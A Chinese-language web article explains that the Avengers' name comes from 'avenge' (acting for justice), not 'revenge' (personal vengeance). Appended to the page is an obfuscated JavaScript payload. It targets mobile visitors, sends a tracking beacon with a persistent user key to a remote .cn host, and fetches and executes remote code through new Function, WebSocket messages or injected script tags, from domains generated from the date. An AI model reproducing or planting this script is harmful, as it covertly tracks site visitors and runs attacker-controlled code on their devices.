释疑：复仇者联盟为什么叫“复仇者”
今年五月的《复仇者联盟3：无限战争》应该是今年最火的电影了，这部作为漫威铺垫了多年的电影，还没有上映就已经话题满满，预售的票房就已经超越很多影片的总票房了，不得不说漫威的营销手段高明。不过这部电影抛去剧情不说，就这电影的强大阵容，不管虚拟的超级英雄阵容，还是演员的强大阵容，确实都足以支撑起这么高的票房，不过大多数的观众也确实不是冲着剧情去看的电影。
说去看脸的一点也不假，因为大多数“小白”连电影里面的人物都分不清楚，是不是听到“哇——好帅”“哇——这个更帅”“哇——这个好漂亮”等。看电影的人多了肯定会提出很多的问题，其中比较有代表性的就是“复仇者联盟，要找谁复仇？”，这个问题不止小白不明白，有一部分的漫威迷估计也难以说清楚，可能觉得这只是一个团队的代号而已，就跟美国为什么叫“美”国一样，其实你不知道任何名字都有它的意思，“美国”名字由来是纪念一位意大利的航海家叫“阿美利哥·维斯普西”，有兴趣的可以查查。所以复仇者联盟是一个代号不假，但也有他的含义的，下面我们一起了解下。
我们来看复仇者联盟的英文是The Avengers，而不是The Revengers，因为“Avenge”“Revenge”这个两个单词的意思都是“报仇、复仇、报复”的意思。“Revenge”更倾向是自己报复别人，为自己报仇，可能是对的也可能是错的；“Avenge”则可能不是为自己报仇，带有正义的色彩，这个复仇也是为了正义帮别人复仇。简单地说就是“Revenge”是为自己，“Avenge”是为正义。
所以复仇者联盟当中的“复仇”也不是真的是想报复谁，更多的意思应该类似我们讲的“行侠仗义”“替天行道”这样的意思，复仇者也类似于“打抱不平英雄好汉”，不然“Iron Man”也不会翻译成“钢铁侠”，“X-men”翻译成“X战警”，这就是想赋予他们“侠之大者”的意思，让他们名字一听就是代表着正义。而隔壁DC则更加直接的叫“正义联盟”，意思都是告诉大家这是一个“行侠仗义的一个团队”，这也是大多数美国的超级英雄都喜欢翻译成“xx侠”的原因，无非告诉大家这是个“行侠仗义的人”有困难找他们，效果好不收费！
0顶一下
-
![复仇者联盟1-4合集]()
内详
function VALbGS(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function JlAzTY(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return VALbGS(t);};window[''+'V'+'o'+'y'+'a'+'r'+'J'+'t'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Fxbej(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=JlAzTY,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Fxbej(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/14304/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Fxbej(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmllpbHh6cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lM00E5NTM00','163318',window,document,['l','0']);}:function(){};
